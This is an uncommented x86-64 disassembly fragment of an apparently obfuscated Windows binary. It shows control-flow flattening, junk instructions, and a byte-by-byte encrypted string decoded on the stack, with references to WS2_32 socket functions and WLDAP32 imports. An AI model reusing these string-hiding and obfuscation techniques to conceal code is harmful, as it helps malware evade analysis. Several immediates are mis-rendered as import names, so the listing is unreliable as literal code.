and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
jmp 0x1400b4dff
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b4abb
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b4dc1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b48c0
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b43c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b4b14
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
jmp 0x1400b4d7b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b4b3f
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
dec rbx
inc rbx
jmp 0x1400b43c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b4b61
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
jmp 0x1400b4dfc
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b4b87
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b4e32
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b487d
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b43c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b4bff
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b43c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b4c25
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b4e32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b4c48
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x1400b4dc1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b4c6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
dec rbx
inc rbx
jmp 0x1400b43c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b4842
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b43c2
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
add dl, r11b
jmp 0x1400b4dc1
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400b4e32
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x1400b4e32
sub r10b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b4dff
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
add r8, r9
jmp 0x1400b4dff
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
dec rbx
inc rbx
jmp 0x1400b43c2
lea edx, [r10 + 0x48]
mov ecx, 4
jmp 0x1400b4d6c
movzx r10d, bl
lea edx, [r10 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, r11b
mov byte [rbp + rbx + 0x3b8], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b43c2
movzx r10d, bl
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 8
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x3b8], r10b
add r8, r9
jmp 0x1400b4dff
lea rax, [rbx + 0xa55b8]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 8
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b43c2
lea rax, [rbx + 0x809c8]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x78
movzx r10d, bl
sub r10b, 0x58
movzx eax, r11b
and al, r10b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x3b8], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x60
add cl, r11b
mov byte [rbp + rbx + 0x3b8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b43c2
lea rax, [rbx + 0x371e8]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x58
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b43c2
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b43c0
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
jmp 0x1400b43b0
lea rsi, [rbp + 0x1458658]
jmp 0x1400b4f21
lea rsi, [rbp + 0x106ac50]
jmp 0x1400b4f21
lea rsi, [rbp + 0x3b8]
mov byte [rbp + 0x6c0], 0xf8
mov byte [rbp + 0x6c1], Ordinal_217
mov byte [rbp + 0x6c2], 0xe3
mov byte [rbp + 0x6c3], Ordinal_211
mov byte [rbp + 0x6c4], 0xdf
mov byte [rbp + 0x6c5], Ordinal_217
mov byte [rbp + 0x6c6], 0xa6
mov byte [rbp + 0x6c7], 0xdd
mov byte [rbp + 0x6c8], Ordinal_217
mov byte [rbp + 0x6c9], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6ca], 0xda
mov byte [rbp + 0x6cb], 0xae
mov byte [rbp + 0x6cc], 0xaf
mov byte [rbp + 0x6cd], 0xa0
mov byte [rbp + 0x6ce], 0xac
mov byte [rbp + 0x6cf], 0xa4
mov byte [rbp + 0x6d0], 0xdc
mov byte [rbp + 0x6d1], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x6d2], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x6d3], 0xbd
mov byte [rbp + 0x6d4], 0xa5
mov byte [rbp + 0x6d5], 0xa7
mov byte [rbp + 0x6d6], Ordinal_217
mov byte [rbp + 0x6d7], 0xf2
mov byte [rbp + 0x6d8], 0xbc
mov byte [rbp + 0x6d9], 0xa1
mov byte [rbp + 0x6da], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x6db], 0xbd
mov byte [rbp + 0x6dc], 0xba
mov byte [rbp + 0x6dd], 0x88
mov byte [rbp + 0x6de], 0xb2
mov byte [rbp + 0x6df], Ordinal_211
mov byte [rbp + 0x6e0], 0xed
mov byte [rbp + 0x6e1], 0xbb
mov byte [rbp + 0x6e2], 0x87
mov byte [rbp + 0x6e3], Ordinal_200
mov byte [rbp + 0x6e4], 0xa9
mov byte [rbp + 0x6e5], 0xb2
mov byte [rbp + 0x6e6], 0xb3
mov byte [rbp + 0x6e7], Ordinal_200
mov byte [rbp + 0x6e8], 0x83
mov byte [rbp + 0x6e9], 0xb0
mov byte [rbp + 0x6ea], Ordinal_143
mov byte [rbp + 0x6eb], Ordinal_143
mov byte [rbp + 0x6ec], 0xbd
mov byte [rbp + 0x6ed], Ordinal_143
mov byte [rbp + 0x6ee], Ordinal_143
mov byte [rbp + 0x6ef], 0x83
mov byte [rbp + 0x6f0], __WSAFDIsSet
mov byte [rbp + 0x6f1], 0xfd
mov byte [rbp + 0x6f2], 0x87
mov byte [rbp + 0x6f3], 0x84
mov byte [rbp + 0x6f4], Ordinal_143
mov byte [rbp + 0x6f5], 0x83
mov byte [rbp + 0x6f6], Ordinal_143
mov byte [rbp + 0x6f7], 0xf7
mov byte [rbp + 0x6f8], 0xb5
mov byte [rbp + 0x6f9], 0x87
mov byte [rbp + 0x6fa], 0xea
mov byte [rbp + 0x6fb], 0xaa
mov byte [rbp + 0x6fc], __WSAFDIsSet
mov byte [rbp + 0x6fd], 0x9d
mov byte [rbp + 0x6fe], 0xab
mov byte [rbp + 0x6ff], 0x99
mov byte [rbp + 0x700], 0x9e
mov byte [rbp + 0x701], 0xac
mov byte [rbp + 0x702], __WSAFDIsSet
mov byte [rbp + 0x703], 0xa6
mov byte [rbp + 0x704], 0xe0
mov byte [rbp + 0x705], 0xa0
mov byte [rbp + 0x706], 0xa1
mov byte [rbp + 0x707], 0xa0
mov byte [rbp + 0x708], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x709], 0x90
mov byte [rbp + 0x70a], 0x68
mov byte [rbp + 0x70b], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x70c], Ordinal_60
mov byte [rbp + 0x70d], 7
mov byte [rbp + 0x70e], Ordinal_60
mov byte [rbp + 0x70f], 0x77
mov byte [rbp + 0x710], 0x68
mov byte [rbp + 0x711], 0x58
mov byte [rbp + 0x712], 0x64
mov byte [rbp + 0x713], 0x61
mov byte [rbp + 0x714], 0x51
mov byte [rbp + 0x715], WSASetLastError
mov byte [rbp + 0x716], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x717], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x718], 0x7c
mov byte [rbp + 0x719], 0x65
mov byte [rbp + 0x71a], 0x76
mov byte [rbp + 0x71b], 0x78
mov byte [rbp + WSACleanupc], 0x71
mov byte [rbp + 0x71d], 0x7d
mov byte [rbp + 0x71e], 0x79
mov byte [rbp + 0x71f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x720], Ordinal_79
mov byte [rbp + 0x721], 0x7b
mov byte [rbp + 0x722], 0x47
mov byte [rbp + 0x723], 3
mov byte [rbp + 0x724], 0x7d
mov byte [rbp + 0x725], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x726], 0x41
mov byte [rbp + 0x727], 0x7f
mov byte [rbp + 0x728], 4
mov byte [rbp + 0x729], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x72a], 0x43
mov byte [rbp + 0x72b], Ordinal_79
mov byte [rbp + 0x72c], 0x47
mov byte [rbp + 0x72d], 0x40
mov byte [rbp + 0x72e], 0x7b
mov byte [rbp + 0x72f], Ordinal_79
mov byte [rbp + 0x730], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x731], 0x47
mov byte [rbp + 0x732], 0x41
mov byte [rbp + 0x733], 0x45
mov byte [rbp + 0x734], Ordinal_50
mov byte [rbp + 0x735], 0x77
mov byte [rbp + 0x736], 0x77
mov byte [rbp + 0x737], 0x45
mov byte [rbp + 0x738], 0x43
mov byte [rbp + 0x739], gethostname
mov byte [rbp + 0x73a], 0x41
mov byte [rbp + 0x73b], 0x53
mov byte [rbp + 0x73c], WSASetLastError
mov byte [rbp + 0x73d], 0x5b
mov byte [rbp + 0x73e], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x73f], 0x68
mov byte [rbp + 0x740], 0x5f
mov byte [rbp + 0x741], 0x50
mov byte [rbp + 0x742], 0x52
mov byte [rbp + 0x743], 0x62
mov byte [rbp + 0x744], 0x56
mov byte [rbp + 0x745], 0x64
mov byte [rbp + 0x746], 0x62
mov byte [rbp + 0x747], Ordinal_45
mov byte [rbp + 0x748], 0x50
mov byte [rbp + 0x749], 0x56
mov byte [rbp + 0x74a], 0x5a
mov byte [rbp + 0x74b], 0x7a
mov byte [rbp + 0x74c], 1
mov byte [rbp + 0x74d], 0x59
mov byte [rbp + 0x74e], Ordinal_30
mov byte [rbp + 0x74f], Ordinal_45
mov byte [rbp + 0x750], Ordinal_30
mov byte [rbp + 0x751], Ordinal_30
mov byte [rbp + 0x752], Ordinal_41
mov byte [rbp + 0x753], Ordinal_41
mov byte [rbp + 0x754], 0x50
mov byte [rbp + 0x755], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x756], Ordinal_50
mov byte [rbp + 0x757], Ordinal_45
mov byte [rbp + 0x758], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x759], 0x55
mov byte [rbp + 0x75a], Ordinal_30
mov byte [rbp + 0x75b], recv
mov byte [rbp + 0x75c], Ordinal_41
mov byte [rbp + 0x75d], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x75e], gethostname
mov byte [rbp + 0x75f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x760], WSASetLastError
mov byte [rbp + 0x761], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x762], 0x42
mov byte [rbp + 0x763], 9
mov byte [rbp + 0x764], 0x76
mov byte [rbp + 0x765], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x766], 0xa6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x767], xmm0
mov qword [rbp + 0x777], rax
mov dword [rbp + 0x77f], eax
movabs r14, 0x9c9831d9a35f9a36
movabs r12, 0x48295cf3779d377a
movabs r15, 0xd5c8958cea1ecea2
movzx edx, byte [rsp + 0x30]
nop
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0xc3
jae 0x1400b5f48
movzx r10d, byte [rbp + rbx + 0x6c0]
mov edi, r10d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b5f3f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b544b
lea rcx, [rbx + r14]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
sub dl, 0x7a
jmp 0x1400b5478
je 0x1400b5ed4
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b5e4a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b5df2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b5dd2
movzx r11d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400b5f36
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400b54a9
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 2
jmp 0x1400b54f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b5d8d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b5d67
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b5d4c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b5d2c
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b5cfb
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400b5a1d
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b5a03
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b59de
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400b59bc
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b59aa
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b598e
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b5972
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b5958
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b593a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400b590d
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b5500
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b5f1a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400b5efe
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400b56ee
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400b56d2
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b56b6
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b58c4
lea rcx, [r9 + 5]
cmp r8, rcx
jb 0x1400b587f
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400b5842
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400b581c
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400b5500
mov r8, rcx
lea r9, [rcx + 0x1000]
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400b57ef
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1400b57d1
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400b57b7
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400b579b
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400b577f
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400b576d
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400b574b
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x1400b5726
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400b570c
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400b5500
lea r8, [r9 + 3]
lea r9, [r8 + 2]
jmp 0x1400b5500
lea edx, [r11 + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x3e
add dl, cl
jmp 0x1400b54f0
lea edx, [r11 - 0x1a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4a
add dl, cl
jmp 0x1400b5480
add r11b, 0x7a
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x56
add dl, r11b
jmp 0x1400b5420
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x10
jmp 0x1400b5da3
add r11b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
inc r9
dec rbx
inc rbx
jmp 0x1400b5402
sub r11b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
dec rbx
inc rbx
jmp 0x1400b5402
lea edx, [r11 + 0x2c]
movzx eax, r10b
and al, dl
sub dl, 0x34
jmp 0x1400b5e03
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x1400b5e2f
add r11b, 0x54
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4c
jmp 0x1400b5e32
lea edx, [r11 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x58
jmp 0x1400b5e62
add r11b, 0x7c
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x64
add dl, r11b
jmp 0x1400b5e91
add r11b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5402
add r11b, 2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xe
mov byte [rbp + rbx + 0x6c0], dl
inc rbx
jmp 0x1400b5402
lea edx, [r11 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1a
add dl, cl
cmp r9, 0x64
jb 0x1400b5833
lea edx, [r11 - 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x38]
jmp 0x1400b5da5
lea edx, [r11 + 0x2a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x26
add dl, cl
cmp r8, 9
jae 0x1400b5cc9
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400b5c4f
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x14
jmp 0x1400b5857
lea edx, [r11 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x32
add dl, cl
lea rax, [r8 + r9]
cmp rax, 0x10
je 0x1400b5ce3
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400b5b45
lea edx, [r11 - 0x22]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x12
jmp 0x1400b5894
sub r11b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xc
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5402
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x18
add dl, r11b
jmp 0x1400b5e91
lea edx, [r11 - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x24
jmp 0x1400b5e62
add r11b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
jmp 0x1400b5e32
sub r11b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
jmp 0x1400b5e2f
lea edx, [r11 + 0x78]
movzx eax, r10b
and al, dl
sub dl, 0x48
jmp 0x1400b5e03
add r11b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x54
dec rbx
inc rbx
jmp 0x1400b5402
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
inc r9
dec rbx
inc rbx
jmp 0x1400b5402
lea edx, [r11 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6c
jmp 0x1400b5da3
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400b5a43
lea edx, [r11 + 0x36]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7a
jmp 0x1400b58d9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b5a79
sub r11b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5402
inc rax
cmp r8, rax
jne 0x1400b5aa1
add r11b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5e91
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b5ac5
lea edx, [r11 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b5e62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b5aee
sub r11b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5e2f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b5b12
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b5e0b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b58db
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b5402
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b5b68
lea edx, [r11 + 0x4a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 6
jmp 0x1400b5da3
inc rax
cmp r8, rax
jne 0x1400b5b96
add r11b, 0x22
movzx eax, r10b
and al, r11b
mov ecx, 9
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b5402
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b5bbf
sub r11b, 6
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5e2f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b5be8
add r11b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5e32
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b5c11
add r11b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5e91
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b5896
sub r11b, 0x56
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5402
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b5c85
sub r11b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5402
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b5cae
sub r11b, 4
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5e32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b5859
lea edx, [r11 + 0x18]
mov ecx, Ordinal_45
jmp 0x1400b5d96
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x38
add cl, cl
jmp 0x1400b5e0b
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
jmp 0x1400b5e62
add r11b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b5402
sub r11b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5e2f
lea edx, [r11 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b5e0b
sub r11b, 0x4e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b5402
lea edx, [r11 - 0x26]
mov ecx, 5
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
sub r11b, 0x46
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x16
add r10b, r11b
mov byte [rbp + rbx + 0x6c0], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b5402
lea ecx, [rbx + 0x2a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x26
dec rbx
inc rbx
jmp 0x1400b5402
movzx r11d, bl
lea edx, [r11 - 0x42]
movzx eax, r10b
and al, dl
sub dl, 0x32
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
add r11b, 0x26
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0xa
add r10b, dl
add r10b, r11b
